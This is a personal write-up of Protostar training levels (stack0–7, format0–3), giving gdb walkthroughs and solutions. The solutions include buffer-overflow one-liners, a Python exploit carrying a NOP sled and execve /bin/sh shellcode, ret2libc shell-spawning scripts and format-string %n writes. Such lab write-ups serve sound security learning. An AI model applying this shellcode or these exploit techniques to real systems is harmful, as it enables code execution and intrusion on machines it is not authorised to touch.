NOTE: For some reason Exploit-Exercises.com is no longer available, so this page won't be updated.

Well, i started watching Liveoverflow and he explains the theory behind these challenges very good.
Most of the levels here i didn't solve myself, as i was still learning how to debug programs. I followed his video's, watched them over and over again, until i understood the level.
Afterwards i try to solve them myself, and post the results here.
This page is mostly for my reference, as there are some good techniques for further challenges.



Intro:
This challenge is all about input overflow, to modify the statically set variable.
Video: 0x0C

Challenge path:
a) open in gdb and set he workspace on Intel.
b) set a breakpoint on main. And on test.
c) define a hook-stop to show register info, stack info and instruction info on a breakpoint.
d) input A characters to see them on the stack.
e) calculate how many characters you need to overwrite the modifier variable 0x00000000.

Do some inputs with A characters to see where we are on the stack.


We need 64 A's to arrive at our modifier variable that is set to 0.


Then We can change the variable by putting one extra character, what overwrites this value.


What to remember:
- Never use gets() function, it is unable to predict how many characters it will read.
- When debugging, use character patterns to easily see the hex-codes on the stack.
- Notice the way program receive input. here you have to pip the input to the program.

Solution:
python -c 'print "A"*64+"B"' | /opt/protostar/bin/stack0
Intro:
Stack1 and Stack2 are similar to Stack0. Here we need to add specific characters at the end of the overflow.
This is not explained in Liveoverflow, but more or less the same as in stack0.
In this challenge we need to set the variable to 0x61626364

Challenge path:
a) find in the stack where we compare the value, set a breakpoint there.
b) input some A's to see them onto the stack as before.
c) calculate how many we need to modify the 0 value.
d) Put our compare value behind the calculation (64), but in reverse.

Find Compare on main.


We need 64 A's to arrive at our modifier variable that is set to 0.


What to remember:
- The challenges are in "little endian". reverse the input.
- Here we need to modify our script, the program accepts arguments
- We can print hex values to the program. \x64\x63\x62\x61 (d c b a)

Solution:
./stack1 $(python -c 'print "A"*(16*4) + "\x64\x63\x62\x61"')
Intro:
In this challenge we have to manipulate en environment variable so it will execute code we want.
To do this we first need to investigate where the overflow is in our stack and modify it to 0x0d0a0d0a

Challenge path:
a) set a environment variable to GREENIE ( export GREENIE=AAAAAAA )
b) Find the compare value on the stack and set a breakpoint.
c) Calculate the buffer overflow so you can set the correct value.

Set the environment variable


find correct stack address.


See the characters on the stack and calculate overflow.


What to remember:
- use python -c

Solution:
export GREENIE=$(python -c 'print "A"*(16*4) + "\x0a\x0d\x0a\x0d\x0a"')
Intro:
The levels build up slow and at the moment we are looking for a function in stead of a variable.

Challenge path:
a) Find the stack address of the win() function with gdb command "x win"
b) Set a break at the call eax address. Put in enough characters. Then we can get the registers with "info registers"
c) Here we see the pointer address we can jump to. Write some python script with recognizable patterns. To see the offset of $eax
e) Redirect the output of the file into gdb with the r < "file" command.
f) We see that x51 (Q) modifies eax. Rewrite the code up to P, all after P we can control.
g) The part we control we can write the address of the win function. 0x8048424 in little endian ( backwards)<

Find stack address of win() function.


Set breakpoint on eax address.


Put in "A" characters to see them on the stack


Write a script.


Check what character overwrites eax.


Modify our script and append he win() address.


Success in overwriting code flow.


What to remember:
- We can jump to specific functions if we know the address.

Solution:
python -c "print 'A'*(4*16)+'\x24\x84\x04\x08'" | ./stack3
Intro:
Here we take advantage of the stack layout by overflowing the return pointer on the stack.

Challenge path:
a) Make a recognizable pattern and put it into the program.
b) Examine the registers and notice the base pointer, stack pointer and instruction pointer address.
c) With 'T' we control the instruction pointer
d) Find the address of the win() function by using "x win" in gdb
e) Modify the script by adding the address of win() where the "T" characters were.
f) Now you can pipe the output of the script into the program.

Write a pattern in a script.


run it in gdb with input to see the segmentation fault.


Notice the address pointers in the registers.


Edit our script so it will match the overflow.


Pipe the output of the script into stack4.


What to remember:
- We can also manipulate the stack to redirect code.

Solution:
python -c "print 'A'*(18*4)+'SSSS'+'\xf4\x83\x04\x08'" | ./stack4
Intro:
Our first overflow that will spawn a shell. Nice.

Challenge path:
a) Make an alphabet string to check where we can do code injection.
b) Set a breakpoint on the return of main() and define a hook-stop
c) Run the program with the file, and see the instruction pointer is overwritten with "T".
d) Modify the script so we can control the "T" value. We can jump after the eip we control.
e) Run the program, execute the ret instruction and see the esp address in the info registers. Here we want to jump to.
f) Alter the script with this address and add a payload to it.
g) Because the address can change we add NOPs so we can control the stack.
h) Look for the correct shell-code on Shell-storm
i) Pipe our exploit to the program but include cat to redirect the output so we can see whats printed

View the stack with inputted alphabet.


Find an address where we can jump to.


What to remember:
- We can jump to the stack if we find a good address.
- opcode "\xCC" is an int3 code breakpoint code.
- NOP code "\x90" is a No Operation code
- Redirect output of the shell to input of cat.

Solution:
(python exploit.py ; cat) | /opt/protostar/bin/stack5
#exploit.py

import struct
padding="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
eip=struct.pack("I", 0xbffff7bc+30)  #0xbffff7c0+30)
nopslide="\x90"*100
payload="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print padding+eip+nopslide+payload
Intro:
Here we see a technique if we have restrictions on the return address.
We use he Ret2Libc technique.

Challenge path:
a) Here we see in the code that we can't use addresses that start with 0xbf. this will exit the program.
b) We see in gdb with the "info proc map" command that all addresses with 0xbf are on the stack. so we cant go to the stack for code-execution
c) We still can control the return pointer as long as it not starts with 0xbf.
d) Jump to the return address itself (ret in getpath), test it with a script and put \xCC tho analyze if we have code execution.
e) Set a breakpoint on the return address, run the program with our script, and single step into the breakpoint. We see that we are back on the ret address.
f) Continue with "c" and see we stop at the opcode \xCC. we have code execution like in the previous challenges.
g) Now we have to build our stack so we can execute "/bin/sh" from libc "system"
h) Find the address of libc "system" by entering "p system" in gdb.
i) Find the offset address of "/bin/sh" in libc "strings -a -t x /lib/libc-2.11.2.so | grep "/bin/sh"" and add it to the libc address 0xb7e97000 to find the real "/bin/sh/"
j) Add everything to our exploit and run it with the previous cat trick.

See all 0xbff addresses are on the stack.


Find the return address.


Write some code for testing if we can do code execution.


Debug in gdb to see what happens


Notice the TRACE breakpont of the opcodes \xCC


Find the offset address of /bin/sh in Libc


Add the offset to the lib c address to get the real address of /bin/sh


What to remember:
- Jumping to the return address to manipulate the stack.
- ret2libc technique ()

Solution:
(python exploit.py ; cat) | /opt/protostar/bin/stack6
#exploit.py

import struct
padding = "0000AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"     # Where we control the stack
system = struct.pack("I", 0xb7ecffb0)                                                            # address of libc System we found by entering p system in gdb
ret = "AAAA"                                                                                     # return after system, not important																																	
bin_sh = struct.pack("I", 0xb7fb63bf)                                                            # real address of /bin/sh into libc (libc address + offset we found)
print padding+system+ret+bin_sh
Intro:
Stack 7 is not that different from stack 6. The only thing that has changed is "return strdup(buffer)"
We have more restrictions on the return address then the previous challenge.

Challenge path:
a) First we find the overflow with our known method of setting a string pattern and see when we overwrite the stack.
b) Now that we can overwrite the return address lets look for a good one.
c) Like in stack6 we use the ret2lic trick. do the same in finding the correct address.
d) Follow the same procedure, find address of system, find address of libc and find offset of /bin/sh.
e) At this point we have the same exploit as before. Now we have to overcome one more restriction.
f) For this we go first to the return address in getpath.
g) So the only difference between stack6 and stack7 is that we first need to jump to the ret address of getpath to remove the restriction.

Make our test string.


Find address of system.


Find address of libc.


What to remember:
- /
Solution:
(python /tmp/exploit.py; cat) | ./stack7
#exploit.py
import struct

padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"    # Junk
return_0 = struct.pack('I', 0x08048544)                                                         # address of ret in getpath()
return_1 = struct.pack('I', 0xb7ecffb0)                                                         # address of system  (p system)
return_2 = "JJJJ"                                                                               # junk
shell = struct.pack('I', 0xb7fb63bf)                                                            # "/bin/sh"  libc=0xb7e97000 + offset=0x11f3bf

print padding+return_0+return_1+return_2+shell
Intro:
The first format string attack. In this series we are going to learn how to manipulate the program by entering format strings.

Challenge path:
a) If we look at the code we see the buffer is 64 bytes long. so if we make the input longer than 64 bytes we overflow the buffer
b) We see next we need target to be 0xdeadbeef so we need to paste this behind our buffer.
c) There is a restriction of 10 bytes, so we need to use a format string.

What to remember:
- %64d is set a decimal value of 64

Solution:
./format0 `python -c 'print "%64d\xef\xbe\xad\xde"'`
Intro:
The previous was more or less a buffer-overflow, now we go more and more in format string attacks.
In format1 we need to find the address of "target"

Challenge path:
a) Do objdump -t format1 to find the address of target.
b) Now we need to find the offset so we can append the address of "target" to our string
c) You can do this the manual way or in a script.
d) Now we have found our offset, we write it to the Arguments

Find address of target.


Script to find address.


What to remember:
- %d decimals
- %x hex
- %s string
- %n write to memory

Solution:
"`python -c "print 'AAAA'+'\x38\x96\x04\x08'+'BBBB'+'%x '*127+'%x '"`"
Intro:
In Format 1 we needed to find the address of "target". Here we need target to be equal to 64.
Lets go and find our solution.

Challenge path:
a) First we spam the application with %x to find where we read our string A.
b) We see that we only need 4 words to read our A's (41414141)
c) Find the address of target again, like the last challenge.
d) Replace the AAAA with the address of target and in stead of reading, we write by replacing the last %x with %n.
e) We see that we only read 23 characters. We can modify thins by increasing the buffer. replace the first %x with %44x.

Find format string by spamming %x


Verify that we only need 4 words.


Write the address of target to modify the output.


Increase the buffer so target becomes 64 long.


What to remember:
- %44x to increase the buffer with 44 characters.
Solution:
python -c "print '\xe4\x96\x04\x08'+'%44x'+'%x'*2+'%n'" | ./format2
Intro:
This is a bit more advanced. We are going to write a specific value of target.

Challenge path:
a) Again find the address of "target" first.
b) Then find where we can start modifying by spamming %x with a little python script.
c) We see our A's at the 12th word so we test it if this is correct.
d) Then we replace the A's with the address of target and write with %n. here we got a value back, still not correct.
e) Remember, we need to end up with the following address: 0x01025544
f) To add the following 2 bytes we repeat the same after the %n write. see that we need junk data first.
g) Now We can replace the last 4 A's to the next address of target (so we don't overwrite our first 2 bytes), and replace the last %x to %n.
h) As you can see now we have a value of 00008a44, the 8a is larger than 55 so we need to add bytes until we get 0255 ( 4 bytes overwrite).
i) Increase the buffer with %"value"x before the %n until you got 0255. (i increased it with %468)
j) Now we have 6 bytes in total, and need to write 2 more. Repeat the technique to find where we can write the last 2 bytes.
k) Again add a couple of A's and %x to find the address where we start manipulating.
l) Replace the last 4 A's with the next address (first=f4, second+third=f5 fourth=f7), and the last %x with %n to write. We ave modified the last bytes.
m) Now we need the last 2 bytes to be 01 what is not possible, so we increase the value until it is 101 and the first 1 will drop. (%111x)

Find format string by spamming %x


Verify that we only need 12 words.


Write the address of target to modify the output.


Start working on the next bytes.


We altered the next 2 bytes but need to increase to overwrite 4 bytes


Got 4 bytes overwritten to correct value.


Repeat process and find last 2 bytes.


Found last 2 bytes.


increase buffer so it will match 01 ( 101 )


What to remember:
- increase addresses (f4 f5 f6 f7) and multiple writes (%n) to write a larger address.
Solution:
python -c "print '\xf4\x96\x04\x08'+'%4x'+'%x'*10+'%n' + 'AAA\xf5\x96\x04\x08'+'%x.'*6+'%468x'+'%n' + 'AAA\xf7\x96\x04\x08'+'%x.'*6+'%111x'+'%n'" | ./format3